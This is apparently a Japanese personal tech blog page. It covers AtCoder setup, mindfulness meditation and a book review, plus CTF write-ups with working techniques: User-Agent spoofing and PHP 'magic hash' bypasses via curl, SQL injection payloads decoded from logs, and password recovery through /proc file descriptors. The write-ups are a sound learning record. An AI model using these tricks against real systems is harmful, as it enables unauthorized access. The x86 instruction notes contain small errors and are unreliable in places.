N=1

主にコンピュータ技術関連のことを投稿。 / 投稿は個人の意見であり所属団体の立場を代表するものではありません。

プログラミングの勉強を始めた

コンピュータエンジニアとしての幅を広げるためにプログラミングを勉強することにした。コンピュータサイエンス修士まで取ったし新卒最初のキャリアがサポートエンジニアという過酷な走り出しだったので、そこそこシステムを俯瞰した考え方はできているのかもしれないが、コードが書けないので受けられる案件がかなりニッチになってしまう。それで、猫も杓子もやっているという競技プログラミングプログラマにとっての知の高速道路(ただしその先が大渋滞)になっているらしいので私も渋滞するまでやってみようと思った。

私と競技プログラミングについて前置きしておく。大学生のころ、ICPC、AOJなどはあったけれど問題が堅くてあまり積極的に続ける気持ちにならなかった。複雑なアルゴリズムはほとんど定着しておらず、低レイヤー族なのでデータ構造だけは結構覚えている程度。唯一出ていた教材(蟻本)も最初からいきなり難しくてほとんど読まずにほこりをかぶっていた。そして、当時は ICPC に行ける天井人でなければ自分がどれくらいできるのかよくわからなかったから、参入障壁が高かったのだ(当然だが、そんな私たちでも勉強できる AOJ をメンテして指導してくださっていた渡部先生には感謝しかない)。コードを書かない今となってはほとんど、"はじめてのプログラミング"くらいの感じになってしまったのである。

当時と比べて今は教本も豊富で、AtCoder のおかげで日本の常識的な時間帯にコンテストに参加できる上に、実力も細かく刻まれていてモチベーションも保ちやすくなっていた。なにより、AtCoder の問題はなぜだか緩くて熱中できる。

勉強方法の調査

AtCoder は参加者全体のコンテスト結果の相対的な実力でレーティングがされており、レーティング帯で色分けがある。

chokudai.hatenablog.com

400ごとに色がついていて、赤・橙・黄・青・水・緑・茶・灰・黒、という順番になってます

とりあえず水色くらいまで行けばいろいろと安心らしい。それでも平均的に半年以上はかかるようだ。勉強時間的に、TOEIC 900 程度になるのと同じくらいの険しさかなぁと思う。

qiita.com

水色なるとみんな体験談を書きたくなるらしく、ネットには先人の記録が無数にある。

  • 毎週、AtCoder Beginners Contest(ABC) に参加するといいらしい
  • ABCDE と難易度順で問題があるのでD, E くらいまで粘れるようになると 緑、水色に差し掛かるらしい
  • 過去問を埋めるにしても A B C D と順にやっていき最初に解けなかった難易度を理解するというのを繰り返すといいらしい

なるほど、なるほど。

C++ 全く知らないレベルだったので先にこれをざっと読んだ。分量が多いのに対して例題は簡単すぎるので深追いはしなくてよい。

atcoder.jp

それから、この初級問題集をすべてやった。これで ABC の C までの感覚がわかる。

atcoder.jp

私はだいたいABCの過去問の C~D で完全に分からない問題が出てくる。これがアルゴリズムの理解の壁なので、教本で主要なものを拾うと良さそうだ。

大人なので主要な本をすべて買ってしまった。

ざっくり読んだところ、新しいだけあって AtCoder に特化して最短で勉強できそうなのが3冊目だった。基本はそれで進めて、わからなくなったらアルゴリズムイントロダクションと並んでこれらを横断的にやるのが効率が良さそう。

環境構築

ここが実は本題。

AtCoder を解くに当たって非常に有用なユーティリティがあったので利用させてもらう。CLI で問題のURLの確認、ディレクトリとファイルの整理、テンプレート使用、テスト、送信などができる。

github.com

github.com


インストール

$ npm install -g atcoder-cli
$ pip3 install online-judge-tools

C++ 用の環境設定

$ mkdir -p `acc config-dir`/cpp
$ confd=$_
$ cat  > $confd/template.json <<EOF
{
  "task":{
    "program": ["main.cpp"],
    "submit": "main.cpp"
  }
}
EOF
$ cat  > $confd/main.cpp <<EOF
#include<bits/stdc++.h>
using namespace std;
int main() {

}
EOF
$ acc config default-template cpp
$ mkdir -p ~/.local/include/bits
$ cat > $_/stdc++.h << EOF
#include <iostream> // cout, endl, cin
#include <string> // string, to_string, stoi
#include <vector> // vector
#include <algorithm> // min, max, swap, sort, reverse, lower_bound, upper_bound
#include <utility> // pair, make_pair
#include <tuple> // tuple, make_tuple
#include <cstdint> // int64_t, int*_t
#include <cstdio> // printf
#include <map> // map
#include <queue> // queue, priority_queue
#include <set> // set
#include <stack> // stack
#include <deque> // deque
#include <unordered_map> // unordered_map
#include <unordered_set> // unordered_set
#include <bitset> // bitset
#include <cctype> // isupper, islower, isdigit, toupper, tolower
EOF
$ echo 'export CPLUS_INCLUDE_PATH=$CPLUS_INCLUDE_PATH:~/.local/include/' >> ~/.bashrc


ログイン

$ acc login
$ oj login https://atcoder.jp

新しいコンテストへの参加

$ acc new <contest name (e.g. abs)>

ローカルでのテストをパスしたら提出

# タスクのディレクトリで
$ g++ main.cpp && oj t -d tests && acc s

次の問題の準備

# コンテストのディレクトリで
$ acc add

初めてのコンテスト

というわけで先ほど初めてのコンテストに参加してみた。目標の3問(A, B, C 問題)完了が達成できたのでよかった。ここまではアルゴリズム自体の勉強をしなくても落ち着いて考えれば解ける。

少し残念だったのが D 問題。これは動的計画法かメモ化再帰という技が使えれば解ける。私は直前までそれらを勉強していたのに、時間が足りなくなってしまったのと、アウトプットできるレベルまで定着してなかったので解けなかった。理解することと使えることは違うのだ。これは英語の勉強と似ている。

atcoder.jp

解説がすぐ上がってくるのは良い。(この解説の雰囲気、懐かしい...)

www.youtube.com

勉強は github で管理することにした。

github.com

コンテストとか勉強した分野ごとにコミットすると自分でも振り返りやすい。

github.com



無色からついに灰色(1回参加)になった...!

f:id:ishn:20210516001537p:plain

f:id:ishn:20210516001617p:plain

一年以内には水色になれるよう頑張ろうと思う。

マインドフルネス瞑想の個人的なサーベイ

瞑想の効果についてまとめた。

背景

私がことあるごとに話題にしているマインドフルネスというのは初見だとなんか胡散臭い感じがしますよね。

もともとアメリカ人のオリエンタリズム(あまり長い歴史を持たないアメリカ人の東洋神秘主義に対する憧れ)から、主に富裕層でヨガとか禅とか瞑想とかが流行ったのだと推察している。スティージョブズが長年やっていたのも曹洞宗の座禅だし、映画監督のデイビッドリンチも超越瞑想というちょっとオカルトが感じられるものにかなり入れ込んでいる。私からするとかなり胡散臭く感じるので、分析はしても実践はしたいと思わない。

しかしそこは欧米人なので後付けでガツガツと科学的なエビデンスを追いかけていったのではないだろうか。2000年以降で活発に論文が出ていて、ここ数年では得られる効果とそれに対する効率的なメソッドがかなり確立してきた。有名なのが Google で実践された情動コントロールの研修だ。"心理的安全性"が日本のエンジニアコミュニティでも一般的な語になったが、この研修パッケージ内に科学エビデンスに基づいた"マインドフルネス瞑想"が社会的スキルの成熟に役立つという話もあったのだ。

Big Tech の代表でしのぎを削っている Google が期待値の低い活動を広く実施するとは思えず、マインドフルネスというものに対して安心して実践できそうな気持ちになったのである。

また、個人的に非常に高いストレスにさらされていた時期が長く、さらに頭を良くする方法を探していたところで、マインドフルネス瞑想がストレス耐性を高め、IQを数ポイント向上するらしいという話を目にしたのでやってみることにした。

瞑想の種類

方法論はかなり多く出版されているが脳内で何が起こっているかについて書かれている書籍は少ない。

瞑想はウェブで調べる限り以下のように、生じる脳波で分類がされているようだ。(そもそも科学に基づかない瞑想法を科学で俯瞰した表なので胡散臭いキーワードは入るので注意。)

↑高い周波数

↓低い周波数

参考:
【他の瞑想法との5つの違い】 | 最高を求めるなら - 超越瞑想®︎

(超越瞑想系の団体は自身の有効性を説くためにけっこうお金をかけて自分たちでエビデンスを揃えていってるので気合いが入っているなぁと思う)

マインドフルネス瞑想はリラックス時のα波よりさらに遅い、入眠時に近いΘ波になる。

瞼の裏に映るランダムな映像(入眠時心像)を観察しているとすぐ寝てしまうというライフハックは、マインドフルネス瞑想での脳内の活動を観察する行為と似ている。実際、意図せず超越瞑想になってしまっていた時期は寝る前でも持続できていたが、マインドフルネス瞑想に戻したときは持続するのは難しく10分で居眠りしてしまっていた。

脳波で客観的に、マインドフルネス瞑想が他の瞑想法と区別することができたが、脳波以外ではどのような作用があるのか、瞑想と一見無関係な本で知ることができた。

前提として、マインドフルネス以前に脳のモードが二種類ある。

  • デフォルトモードネットワーク
    • 海馬など記憶領域と内側前頭前皮質が活動
    • 計画、空想、思考
    • 将来の予測など、放っておくと自動的にストーリーを再生してしまう、おそらく多くの人はこれになっている。夜風に吹かれながらビールを飲みつつも今晩の献立をどうするか、明日の仕事はなんだったかなどを次々と連想していってしまう状態
  • マインドフルネス
    • 島皮質、前帯状皮質などが活動
    • 知覚、エラー検出、注意の切り替え
    • 過去や未来などを思考せず現在の状態のみを意識。このモードを持続するのは訓練が必要。夜風に吹かれながらビールを飲んでいるときは、体の心地よさのみを感じられる

この二つのモードは並行動作しづらい。思想にふけっているときは事故を起こしやすいし、感覚に意識を向けると深い思考は抑制される。さらに、マインドフルネスな状態を意識的に維持するのはとても難しい。10秒間、音に注視するという練習をしてみても、その10秒の間に関心がどんどん移ってしまうのが分かる。そして、マインドフルネスな状態は訓練すればするほど切り替えられる頻度があがる。

訓練が必要ではあるが、マインドフルネスな状態にはかなり価値がある。マインドフルネスな状態はどの思考が走ろうとしているかを観察できる。知覚をつかさどるといえど、高レイヤーのタスクスケジューラとして転用できるモードだと私は理解している。単一プロセスが実行されているようなデフォルトモードネットワークに任せていては脳のワーキングメモリの整理なども出来ないのだ。私は ADHD なので行動認知療法的にホワイトボードでのタスク管理をかなり頑張っているが、これを脳内で行えるようになるのがマインドフルネスなモードだ。

改めて、マインドフルネス瞑想のモチベーション

ここまで調べて、改めてモチベーションが生まれた。

まず情動コントロールである。週に合計数時間のマインドフルネス瞑想をした場合、情動が支配的になる偏桃体が縮小し、記憶のための海馬が拡大したという研究結果がある。私は感情的になりやすく記憶力が乏しかったのでこれはぜひ実践するべきだろう。

次に思考力の向上だ。デフォルトモードネットワークに任せっきりだったので、タスクの分解ができず意欲が全く湧かないか、過集中になって寝食を忘れて1テーマのことをやるというのがよくあった。マインドフルネスな状態にいつでも戻ってくることができれば、タスクスケジューラが働き一定の仕事ができるようになり、議論も俯瞰して考えることができる。客観的には思考力が上がったように見えるだろう。

おまけに、人生が楽しくなる。旅行も食事も、タスク消化という感覚が今まで強かった。スタンプラリーのような活動で疲れてしまうので外出は嫌いだ。これも、デフォルトモードネットワークが紡ぐ物語が一日中うるさく、知覚を軽視してきたからだろう。マインドフルネスであれば散歩でも、外の空気を感じられ何十倍も気持ちいいのだ。

方法

一番簡単なのは呼吸に注目する方法だ。20分タイマーを図り、呼吸だけに意識を合わせる。空想、思考が現れた場合はそれを俯瞰する。無理に消す必要は無く、現れたことを認識し呼吸への意識を続ける。この20分を朝晩で1日2回行う。これでおよそ週4.5時間のマインドフルネス瞑想が可能だ。

慣れてきたら呼吸だけでなく、マインドフルネスな状態そのものであったり、五感すべてを注視したりもできる。これは前述の2つのモードが認識できてきたら可能になる。

私はいろいろ模索しているうちに、超越瞑想になってしまっていたことがあった。首から脳にかけての血管の音が大きくなるのが認識できた時があり、それに注視していたら心地よいことがわかり、続けていた。そうしたら、知覚や意識が希薄になり実体から離れるようなリラックスした気分になった。これはおそらくα波の段階になってしまい、マインドフルネスな状態とは異なる機能が活発になっていたからだろう。超越瞑想はマインドフルネス瞑想より気持ちいいが、日常でマインドフルネスな状態を維持するのがとても下手になった。日常に活きない娯楽と感じたのでそれ以降は手を出していない。

まとめ

習慣化してから半年以上経った。モチベーションに記載したような目論見はかなり達成できている。いらだつことは皆無になり誰とも適切な距離感で接するようになった。脳の使い方は並行していろんな本を読みつつも、やっぱりこれはメタ認知が前提となっていることを見抜けるようになった。瞑想はすればするほど知覚の快感が大きくなるので食事前とか音楽を聴く前とかそういうときに瞑想をするようになった。

(唐突ですが) 頭が良い、有能に見える人と同じ水準の仕事や活動をしたいと思ったが、脳の構造が違うのにアウトプットだけ真似ても意味が無かった。使い方を変える方法をずっと模索している。瞑想はその一環でありかなり高い効果があった。

実はほかにも頭の機能を向上するために実践していることが複数ある。繰り返しになるがマインドフルネスな状態はメタ認知と言い換えることができ、これが脳の使い方の工夫の根底にある。そしてこれは練習が無ければ使えない能力だ。

スマホ脳(アンデシュ・ハンセン)

読んだ本の感想を書き溜めているので読了したものはきちんと記事にしようと思いました。

キャッチーなタイトルとは裏腹に、偏桃体が起点となって生じる情動による緊急回避システムが現代のライフスタイルに災いすることが多いという話(ファスト&スローで言われているシステム1、2の区別)を別角度で説いたような本。

私は学生のころから、生身の身体があらゆる目的達成の足手まといになっている感覚があった。前半ではそれを言い当てられた。脳の仕組みは数千年前の、狩猟、闘争、回避などの営みに適応しており、現代社会で有利になるようなストレス制御や報酬に適応するには進化の世代数が圧倒的に足りない。それどころか選択/淘汰圧がかからない社会に到達してしまっているという主張である。

そのうえで、テクノロジー、広告ビジネスが数千年前のモデルのままな私たちの脳をハックして収益を上げる構図を人類自ら作り上げてしまった。この本ではそれを自覚し人間の身体特性をハックし返すことを提案している。

さてADHDかつ過剰なストレスにさらされていた私の脳は偏桃体が発達してしまったであろう。この本では論じられていないが、マインドフルネス瞑想は偏桃体の体積を縮小する働きがあるのでこれは続けていきたい。

DarkCTF Write up

あまり勉強の蓄積は効かず、手癖で解けたものだけでした。

Linux

Find-Me

Mr.Wolf was doing some work and he accidentally deleted the important file can you help him and read the file? Note: All players will get individual container. ssh ctf@findme.darkarmy.xyz -p 10000 password: wolfie

wolf1 というユーザでログインとなる。/home/wolf1 がホームで、ls しても空っぽ。 ls /home すると、ほかに wolf2 が居るのが分かる。sudo は無いが、su はできる。

雑に deleted file recovery linuxぐぐる。対象サーバは docker 環境なので /dev/sd* などのブロックデバイスは存在しない。よって raw なバイナリを探ったりはできない。そういう情報は除外して調べた。

https://unix.stackexchange.com/questions/80270/unix-linux-undelete-recover-deleted-files

f=$(ls 2>/dev/null -l /proc/*/fd/* | fgrep "$1 (deleted" | awk '{print $9}')

/proc/*/fd/* になにか出ているらしい。

$ ls /proc/*/*fd*
...

/proc/10/fd:
total 0
lr-x------ 1 wolf1 wolf1 64 Sep 25 23:32 0 -> /dev/null
l-wx------ 1 wolf1 wolf1 64 Sep 25 23:32 1 -> /dev/null
l-wx------ 1 wolf1 wolf1 64 Sep 25 23:32 2 -> /dev/null
lr-x------ 1 wolf1 wolf1 64 Sep 25 23:32 3 -> '/home/wolf1/pass (deleted)'

...

怪しいファイルがあった。

$ cp /proc/10/fd/3 pass
$ cat pass
mysecondpassword123

mysecondpassword なので、wolf2 のパスワードと推察。

$ su wolf2
Password: mysecondpassword123
(wolf2)$ cd /home/wolf2
$ ls -R
.:
bin  etc  flag_might_be_here  not_so_important_files  not_sure  proc  somefiles  tmp

./bin:
wolf2

./bin/wolf2:
bin  tmp

./bin/wolf2/bin:

./bin/wolf2/tmp:

./etc:

./flag_might_be_here:

./not_so_important_files:

./not_sure:

./proc:
a  f  g  l

./proc/a:

./proc/f:

./proc/g:
nice_work

./proc/l:

./somefiles:

./tmp:
$ cat ./proc/g/nice_work
darkCTF{you are standing on the flag}

}!!!kr0w_3c1n_hha0w{FTCkrad

}!!!kr0w_3c1n_hha0w{FTCkrad をリバースするとフラグになっている

Web

Source

Don't know source is helpful or not !!

http://source.darkarmy.xyz/

ソースコード index.php の配布もある。

$web = $_SERVER['HTTP_USER_AGENT'];
if (is_numeric($web)){
      if (strlen($web) < 4){
          if ($web > 10000){
                 echo ('<div class="w3-panel w3-green"><h3>Correct</h3>
  <p>darkCTF{}</p></div>');

UA 偽装すればいいが、問題は値だ。

PHP において

  1. is_numeric が true
  2. 文字列長が1から3
  3. 10000 との比較で大きいと判定される

という文字列にしなければならない。単に整数 999 では、条件1,2 は通るが 3 は FALSE になる。

https://www.php.net/manual/en/function.is-numeric.php

Finds whether the given variable is numeric. Numeric strings consist of optional whitespace, optional sign, any number of digits, optional decimal part and optional exponential part. Thus +0123.45e6 is a valid numeric value. Hexadecimal (e.g. 0xf4c3b00c) and binary (e.g. 0b10100111001) notation is not allowed.

is_numeric()の判定では整数だけではなく、数値リテラルならなんでも通すらしい。浮動小数リテラルを試してみよう。1e9で、1x109=1000000000になる。

$ curl -A "1e9" http://source.darkarmy.xyz/
<html>
    <head>
        <title>SOURCE</title>
        <style>
            #main {
    height: 100vh;
}
        </style>
    </head>
    <body><center>
<link rel="stylesheet" href="https://www.w3schools.com/w3css/4/w3.css">
<div class="w3-panel w3-green"><h3>Correct</h3>
  <p>darkCTF{changeing_http_user_agent_is_easy}</p></div></center>
<!-- Source is helpful -->
    </body>
</html>

done.

Apache Logs

Our servers were compromised!! Can you figure out which technique they used by looking at Apache access logs. flag format: DarkCTF{}

Apache のログが添付されている。

logs.ctf

大半はヒントになっていないアクセスだ。ログにある対象サーバはローカルネットワークらしく、実際にはアクセスできない。だからログの内容から読み取る必要がある。

怪しいところをピックアップ

192.168.32.1 - - [29/Sep/2015:03:37:34 -0400] "GET /mutillidae/index.php?page=user-info.php&username=%27+union+all+select+1%2CString.fromCharCode%28102%2C+108%2C+97%2C+103%2C+32%2C+105%2C+115%2C+32%2C+83%2C+81%2C+76%2C+95%2C+73%2C+110%2C+106%2C+101%2C+99%2C+116%2C+105%2C+111%2C+110%29%2C3+--%2B&password=&user-info-php-submit-button=View+Account+Details HTTP/1.1" 200 9582 "http://192.168.32.134/mutillidae/index.php?page=user-info.php&username=something&password=&user-info-php-submit-button=View+Account+Details" "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"

URL Decode "GET /mutillidae/index.php?page=user-info.php&username=' union all select 1,String.fromCharCode(102, 108, 97, 103, 32, 105, 115, 32, 83, 81, 76, 95, 73, 110, 106, 101, 99, 116, 105, 111, 110),3 --+&password=&user-info-php-submit-button=View Account Details HTTP/1.1"

どうやら SQL インジェクションを試みている。

102 108 97 103 32 105 115 32 83 81 76 95 73 110 106 101 99 116 105 111 110 を ASCII にすると、flag is SQL_Injection だがこれ自体はフラグではなかった。

次はこれ。

192.168.32.1 - - [29/Sep/2015:03:38:46 -0400] "GET /mutillidae/index.php?csrf-token=&username=CHAR%28121%2C+111%2C+117%2C+32%2C+97%2C+114%2C+101%2C+32%2C+111%2C+110%2C+32%2C+116%2C+104%2C+101%2C+32%2C+114%2C+105%2C+103%2C+104%2C+116%2C+32%2C+116%2C+114%2C+97%2C+99%2C+107%29&password=&confirm_password=&my_signature=&register-php-submit-button=Create+Account HTTP/1.1" 200 8015 "http://192.168.32.134/mutillidae/index.php?page=register.php" "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"

URL Decode

GET /mutillidae/index.php?csrf-token=&username=CHAR(121, 111, 117, 32, 97, 114, 101, 32, 111, 110, 32, 116, 104, 101, 32, 114, 105, 103, 104, 116, 32, 116, 114, 97, 99, 107)&password=&confirm_password=&my_signature=&register-php-submit-button=Create Account HTTP/1.1

121, 111, 117, 32, 97, 114, 101, 32, 111, 110, 32, 116, 104, 101, 32, 114, 105, 103, 104, 116, 32, 116, 114, 97, 99 は、you are on the right track

同様に次の部分。

192.168.32.1 - - [29/Sep/2015:03:39:46 -0400] "GET /mutillidae/index.php?page=client-side-control-challenge.php HTTP/1.1" 200 9197 "http://192.168.32.134/mutillidae/index.php?page=user-info.php&username=%27+union+all+select+1%2CString.fromCharCode%28102%2C%2B108%2C%2B97%2C%2B103%2C%2B32%2C%2B105%2C%2B115%2C%2B32%2C%2B68%2C%2B97%2C%2B114%2C%2B107%2C%2B67%2C%2B84%2C%2B70%2C%2B123%2C%2B53%2C%2B113%2C%2B108%2C%2B95%2C%2B49%2C%2B110%2C%2B106%2C%2B51%2C%2B99%2C%2B116%2C%2B49%2C%2B48%2C%2B110%2C%2B125%29%2C3+--%2B&password=&user-info-php-submit-button=View+Account+Details" "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"

http://192.168.32.134/mutillidae/index.php?page=user-info.php&username=' union all select 1,String.fromCharCode(102,+108,+97,+103,+32,+105,+115,+32,+68,+97,+114,+107,+67,+84,+70,+123,+53,+113,+108,+95,+49,+110,+106,+51,+99,+116,+49,+48,+110,+125),3 --+&password=&user-info-php-submit-button=View Account Details

flag is DarkCTF{5ql_1nj3ct10n}

PHP information

Let's test your php knowledge. Flag Format: DarkCTF{} http://php.darkarmy.xyz:7001

開くと、HTML と PHPソースコードが表示される。どうやらこのサイトのコードのようだ。

クエリパラメータおよび User Agent を操作することで条件分岐を通し、FLAG を出すということのようだ。

ソースコードの if を通すように curl を組んでいく。

    if (isset($_GET['karma']) and isset($_GET['2020'])) {
        if ($_GET['karma'] != $_GET['2020'])
        if (md5($_GET['karma']) == md5($_GET['2020']))
            echo "<h1 style='color: chartreuse;'>Flag : $flag_3</h1></br>";
        else
            echo "<h1 style='color: chartreuse;'>Wrong</h1></br>";
    }

ここだけ難しい。文字列としては違うけど md5() で比較すると同じになる? MD5 で重複する文字列も探したが、PHP 的には MD5 を比較する際のコーディングの間違いをついたほうがスマートのようだ。

http://peccu.hatenablog.com/entry/2015/05/23/000000

比較が===ではなく==であるから、ということがわかったとして、なぜ同じになるのか。 上記2つの文字列のmd5ハッシュ値が0eで始まり、以降数字が並ぶからです。

0e で始まる md5 の文字列を用意すればいいようだ。このサイトの例をそのまま使わせてもらう。

コンソールで見ると読みづらいので一旦 index.html に保存してからブラウザで開いた。

curl -A 2020_the_best_year_corona 'http://php.darkarmy.xyz:7001/?darkctf=2020&ctf2020=WkdGeWEyTjBaaTB5TURJd0xYZGxZZz09&karma=Password147186970!&2020=240610708' -o index.html

Flag : DarkCTF{

Flag : very_

Flag : nice

Flag : _web_challenge_dark_ctf}

Forensics

AW

動画にノイズが入っているように聞こえる。Spectre.mp4 というファイル名から Spectrogram のフォレンジックを疑う。

ffmpeg -i Spectre.mp4 -vn -acodec libmp3lame -f mp3 Spectre.mp3

Audacity で Spectre.mp3 を開いて Spectrogram で見ると、フラグが浮き上がる。

darkCTF{1_l0v3_5p3ctr3_fr0m_4l4n}

CSAW CTF Quals 2020 Write-up

https://ctf.csaw.io

CTFはバイナリやセキュリティの知識を持たずに遊びで参加しているので、正攻法では無さそうな解法をしてしまっている。しかも最低点の問題を解くのがやっと。問題を始めてから勉強しているので注意。

rev, baby_mult

progam.txt として以下のテキストが与えられる

85, 72, 137, 229, 72, 131, 236, 24, 72, 199, 69, 248, 79, 0, 0, 0, 72, 184, 21, 79, 231, 75, 1, 0, 0, 0, 72, 137, 69, 240, 72, 199, 69, 232, 4, 0, 0, 0, 72, 199, 69, 224, 3, 0, 0, 0, 72, 199, 69, 216, 19, 0, 0, 0, 72, 199, 69, 208, 21, 1, 0, 0, 72, 184, 97, 91, 100, 75, 207, 119, 0, 0, 72, 137, 69, 200, 72, 199, 69, 192, 2, 0, 0, 0, 72, 199, 69, 184, 17, 0, 0, 0, 72, 199, 69, 176, 193, 33, 0, 0, 72, 199, 69, 168, 233, 101, 34, 24, 72, 199, 69, 160, 51, 8, 0, 0, 72, 199, 69, 152, 171, 10, 0, 0, 72, 199, 69, 144, 173, 170, 141, 0, 72, 139, 69, 248, 72, 15, 175, 69, 240, 72, 137, 69, 136, 72, 139, 69, 232, 72, 15, 175, 69, 224, 72, 15, 175, 69, 216, 72, 15, 175, 69, 208, 72, 15, 175, 69, 200, 72, 137, 69, 128, 72, 139, 69, 192, 72, 15, 175, 69, 184, 72, 15, 175, 69, 176, 72, 15, 175, 69, 168, 72, 137, 133, 120, 255, 255, 255, 72, 139, 69, 160, 72, 15, 175, 69, 152, 72, 15, 175, 69, 144, 72, 137, 133, 112, 255, 255, 255, 184, 0, 0, 0, 0, 201

127 以上の値があるから、単純な ASCII として読めるものではないのは確かだ。

const src = [85, 72, 137, 229, 72, 131, 236, 24, 72, 199, 69, 248, 79, 0, 0, 0, 72, 184, 21, 79, 231, 75, 1, 0, 0, 0, 72, 137, 69, 240, 72, 199, 69, 232, 4, 0, 0, 0, 72, 199, 69, 224, 3, 0, 0, 0, 72, 199, 69, 216, 19, 0, 0, 0, 72, 199, 69, 208, 21, 1, 0, 0, 72, 184, 97, 91, 100, 75, 207, 119, 0, 0, 72, 137, 69, 200, 72, 199, 69, 192, 2, 0, 0, 0, 72, 199, 69, 184, 17, 0, 0, 0, 72, 199, 69, 176, 193, 33, 0, 0, 72, 199, 69, 168, 233, 101, 34, 24, 72, 199, 69, 160, 51, 8, 0, 0, 72, 199, 69, 152, 171, 10, 0, 0, 72, 199, 69, 144, 173, 170, 141, 0, 72, 139, 69, 248, 72, 15, 175, 69, 240, 72, 137, 69, 136, 72, 139, 69, 232, 72, 15, 175, 69, 224, 72, 15, 175, 69, 216, 72, 15, 175, 69, 208, 72, 15, 175, 69, 200, 72, 137, 69, 128, 72, 139, 69, 192, 72, 15, 175, 69, 184, 72, 15, 175, 69, 176, 72, 15, 175, 69, 168, 72, 137, 133, 120, 255, 255, 255, 72, 139, 69, 160, 72, 15, 175, 69, 152, 72, 15, 175, 69, 144, 72, 137, 133, 112, 255, 255, 255, 184, 0, 0, 0, 0, 201];

const hex = src.map(e => '\\x' + e.toString(16).padStart(2, '0')).join('');

console.log(hex);

hex 表記にしてみる。

\x55\x48\x89\xe5\x48\x83\xec\x18\x48\xc7\x45\xf8\x4f\x00\x00\x00\x48\xb8\x15\x4f\xe7\x4b\x01\x00\x00\x00\x48\x89\x45\xf0\x48\xc7\x45\xe8\x04\x00\x00\x00\x48\xc7\x45\xe0\x03\x00\x00\x00\x48\xc7\x45\xd8\x13\x00\x00\x00\x48\xc7\x45\xd0\x15\x01\x00\x00\x48\xb8\x61\x5b\x64\x4b\xcf\x77\x00\x00\x48\x89\x45\xc8\x48\xc7\x45\xc0\x02\x00\x00\x00\x48\xc7\x45\xb8\x11\x00\x00\x00\x48\xc7\x45\xb0\xc1\x21\x00\x00\x48\xc7\x45\xa8\xe9\x65\x22\x18\x48\xc7\x45\xa0\x33\x08\x00\x00\x48\xc7\x45\x98\xab\x0a\x00\x00\x48\xc7\x45\x90\xad\xaa\x8d\x00\x48\x8b\x45\xf8\x48\x0f\xaf\x45\xf0\x48\x89\x45\x88\x48\x8b\x45\xe8\x48\x0f\xaf\x45\xe0\x48\x0f\xaf\x45\xd8\x48\x0f\xaf\x45\xd0\x48\x0f\xaf\x45\xc8\x48\x89\x45\x80\x48\x8b\x45\xc0\x48\x0f\xaf\x45\xb8\x48\x0f\xaf\x45\xb0\x48\x0f\xaf\x45\xa8\x48\x89\x85\x78\xff\xff\xff\x48\x8b\x45\xa0\x48\x0f\xaf\x45\x98\x48\x0f\xaf\x45\x90\x48\x89\x85\x70\xff\xff\xff\xb8\x00\x00\x00\x00\xc9

最初の 0x55 は関数の開始である push pbx として頻出なので、x86 系の命令と推察できる。さらに、0x48 がよく出てくる。これは x86_64 において 64bit 命令の場合のプレフィックスなので、x86_64 のバイナリの断片である可能性が高い。

さて、これをどうやって実行可能にしようか。

  • シェルコードとして exploit するテスターを作る?
  • このままリンカに通せないか?
  • ゴリ押しで読んで理解する?

残念ながら私は pwn の知識も、シェルコードの知識も無い。

(1) シェルコードとして exploit するテスターを作る?

ウェブから shell code tester みたいな検索をしてシェルコードとして実行してみたが、segmentation fault になってしまう。

(2) このままリンカに通せないか?

一旦 disassemble して、それっぽいラベルをつけておいた。実行が終わる前のところにブレークポイントをつけれるようにもした。

https://onlinedisassembler.com/odaweb/

program.s

.globl main
	.type main, @function
main:
    push   %rbp
    mov    %rsp,%rbp
    sub    $0x18,%rsp
    movq   $0x4f,-0x8(%rbp)
    movabs $0x14be74f15,%rax
    mov    %rax,-0x10(%rbp)
    movq   $0x4,-0x18(%rbp)
    movq   $0x3,-0x20(%rbp)
    movq   $0x13,-0x28(%rbp)
    movq   $0x115,-0x30(%rbp)
    movabs $0x77cf4b645b61,%rax
    mov    %rax,-0x38(%rbp)
    movq   $0x2,-0x40(%rbp)
    movq   $0x11,-0x48(%rbp)
    movq   $0x21c1,-0x50(%rbp)
    movq   $0x182265e9,-0x58(%rbp)
    movq   $0x833,-0x60(%rbp)
    movq   $0xaab,-0x68(%rbp)
    movq   $0x8daaad,-0x70(%rbp)
    mov    -0x8(%rbp),%rax
    imul   -0x10(%rbp),%rax
    mov    %rax,-0x78(%rbp)
    mov    -0x18(%rbp),%rax
    imul   -0x20(%rbp),%rax
    imul   -0x28(%rbp),%rax
    imul   -0x30(%rbp),%rax
    imul   -0x38(%rbp),%rax
    mov    %rax,-0x80(%rbp)
    mov    -0x40(%rbp),%rax
    imul   -0x48(%rbp),%rax
    imul   -0x50(%rbp),%rax
    imul   -0x58(%rbp),%rax
    mov    %rax,-0x88(%rbp)
    mov    -0x60(%rbp),%rax
    imul   -0x68(%rbp),%rax
    imul   -0x70(%rbp),%rax
    mov    %rax,-0x90(%rbp)
    mov    $0x0,%eax
break:
    leaveq 

Linux で $ gcc program.sとすれば a.out として一応実行可能にはなるが、出力等は特にない。gdbレジスタをみたけどよくわからなかった。

(3) ゴリ押しで読んで理解する?

普通の CTF 慣れした人とは全然違うアプローチになってしまうが、そのまま読んでみた。x86 のことも全然知らなかったので勉強した。

命令一覧

  • push op
    • rsp をスタックを積む方向に動かす(デクリメント)
    • op の値をそこに格納
  • mov op1, op2
    • op1 => op2
  • movq
    • mov と同じだが 64bit であることを明示
  • movabs
    • これも、オペランドが64bitのときにGASが付与した名前であり、mov と同じ
  • sub op1, op2
    • op2 - op1 => op1
  • imul op1, op2
    • op1 * op2 => op1
  • leaveq
    • rsp => rbp
    • rbp を pop

レジスタ一覧

  • rbp: 64bit Base Pointer
  • rsp: 64bit Stack Pointer
  • rax: 64bit Accumulator
  • eax: 32bit Accumulator

(レジスタ命名規則)

  • X: eXtend 16bit
    • アキュムレータは8bit CPU では AL だったが、16bit になった際に AX になった
  • E: Enhanced 32bit
    • x86 では AX から EAX になった
  • R: Register 64bit
    • x86_64 では EAX から RAX になった

記号

  • %: レジスタの前につける
  • $: 定数の前につける

BP, SP, push の動き

知識が揃ったところで読んでいった。手作業で計算した。結果はこうなった。

レジスタ
    rbp: rsp の値
    rax: 306772346d7d
スタック
    元の rbp の値 <-
    --底部--
メモリ
